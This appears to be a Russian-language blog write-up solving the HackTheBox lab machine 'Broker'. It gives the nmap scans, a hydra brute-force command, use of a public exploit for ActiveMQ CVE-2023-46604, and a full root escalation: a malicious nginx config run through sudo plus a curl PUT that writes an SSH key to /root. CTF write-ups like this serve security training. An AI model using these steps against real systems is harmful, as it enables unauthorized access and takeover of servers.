Блог

Разбор HackTheBox — Broker (Easy)

Сложность:Easy
ОС:Linux
Баллы:20
IP:10.10.11.243
Теги:ActiveMQ, HTTP Basic Auth Bruteforce, CVE-2023-46604, nginx LPE

Краткое описание решения

Вслед за проведением этапа первичной разведки веб-приложения обнаруживаем HTTP Basic Auth на портах 80, 8161, 61614. Успешно получаем УЗ admin:admin и авторизуемся в веб-сервисы, откуда получаем сведения о ПО Apache ActiveMQ версии 5.15.15, уязвимого к CVE-2023-46604. Воспользовавшись эксплоитом для данной уязвимости получаем возможность выполнения произвольных команд от лица пользователя activemq, а также его флаг. Затем, обнаружим возможность запуска nginx от лица пользователя root без пароля. Загрузим на целевую машину конфигурационный файл, позволяющий запустить nginx таким образом, что это позволит нам выгружать файлы в папку /root. Воспользуемся этим и запишем свой публичный ssh ключ в список авторизованных для подключения с удалённой машины, подключимся к целевой машине с правами root и успешно забираем соответствующий флаг.

Фаза разведки

Проведём первичное сканирование цели:

nmap -sS -p- 10.10.11.243

PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
1883/tcp  open  mqtt
5672/tcp  open  amqp
8161/tcp  open  patrol-snmp
41191/tcp open  unknown
61614/tcp open  unknown
61616/tcp open  unknown

Просканируем более подробно:

nmap -sVC -O -p22,80,1883,5672,8161,41191,61614,61616 10.10.11.243

PORT      STATE SERVICE    VERSION
22/tcp    open  ssh        OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http       nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
1883/tcp  open  mqtt
| mqtt-subscribe: 
|   Topics and their most recent payloads: 
|     ActiveMQ/Advisory/MasterBroker: 
|_    ActiveMQ/Advisory/Consumer/Topic/#: 
5672/tcp  open  amqp?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     AMQP
|     AMQP
|     amqp:decode-error
|_    7Connection from client using unsupported AMQP attempted
|_amqp-info: ERROR: AQMP:handshake expected header (1) frame, but was 65
8161/tcp  open  http       Jetty 9.4.39.v20210325
|_http-title: Error 401 Unauthorized
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  basic realm=ActiveMQRealm
|_http-server-header: Jetty(9.4.39.v20210325)
41191/tcp open  tcpwrapped
61614/tcp open  http       Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title.
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Jetty(9.4.39.v20210325)
61616/tcp open  apachemq   ActiveMQ OpenWire transport
| fingerprint-strings: 
|   NULL: 
|     ActiveMQ
|     TcpNoDelayEnabled
|     SizePrefixDisabled
|     CacheSize
|     ProviderName 
|     ActiveMQ
|     StackTraceEnabled
|     PlatformDetails 
|     Java
|     CacheEnabled
|     TightEncodingEnabled
|     MaxFrameSize
|     MaxInactivityDuration
|     MaxInactivityDurationInitalDelay
|     ProviderVersion 
|_    5.15.15

Посетим веб-сервис, доступный на 80 порту, выдавший 401 ошибку (Unauthorized):

Судя по наличии HTTP Basic Auth придётся искать или осуществлять подбор логина и пароля. Также, заметим, что многократно в базовых проверках Nmap доступных сервисов цели упоминается сервис ActiveMQ/AMQP/Apache ActiveMQ. Продолжим разведку доступных портов.

Аналогично на портах 8161 и 61614 присутствует HTTP Basic Auth:

Осуществим перебор возможного пароля и логина с помощью hydra:

hydra -L /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt -f 10.10.11.243 http-get

Получили следующий логин и пароль: admin:admin

Воспользуемся полученной УЗ и далее исследуем сервис:

Первичный доступ к целевой машине с помощью CVE-2023-46604

В результате разведки убедились в том, что на целевой машине запущен сервис Apache Active MQ, узнали его версию (5.15.15), ID (broker-39507-1703165235580-0:1). Далее, займёмся поиском потенциальных эксплоитов для данной версии ActiveMQ или Jetty 9.4.39.v20210325.

Обнаружили следующую уязвимость в Apache ActiveMQ — CVE-2023-46604, которая позволяет осуществить выполнение произвольного кода на целевой машине. Воспользуемся следующим эксплоитом, настроив среду атакующего таким образом, как описано в репозитории эксплоита: https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell

Успешно получили флаг пользователя activemq:

Повышение до пользователя root

Проверим текущие соединения, доступные на целевой машине с помощью команды netstat -tulpn

Пользователь activemq может запускать nginx от лица пользователя root без пароля:

Воспользуемся следующей цепочкой для получения root прав на целевой машине:

1. Создадим файл malicious.conf со следующим содержимым и загрузим его на целевую машину:

user root;
events {
    worker_connections 100;
}
http {
    server {
        listen 7331;
        root /;
        autoindex on;
        dav_methods PUT;
    }
}

Данная конфигурация позволит nginx принимать и корректно обрабатывать PUT запросы, с помощью чего мы сможем загрузить свой публичный ключ в /root/.ssh/autorized_keys

2. Выполним команду sudo /usr/sbin/nginx -c /tmp/malicious.conf на целевой машине

3. Добавим свой публичный ключ, выполнив команду на целевой машине

curl -X PUT localhost:7331/root/.ssh/authorized_keys -d 'your_pub_key_goes_here'

4. Подключаемся к целевой машине по ssh с правами root.

Успешно получили доступ к учётной записи root и смогли прочитать флаг!

Ссылки:

https://habr.com/ru/articles/471268/

https://nvd.nist.gov/vuln/detail/CVE-2023-46604

https://github.com/duck-sec/CVE-2023-46604-ActiveMQ-RCE-pseudoshell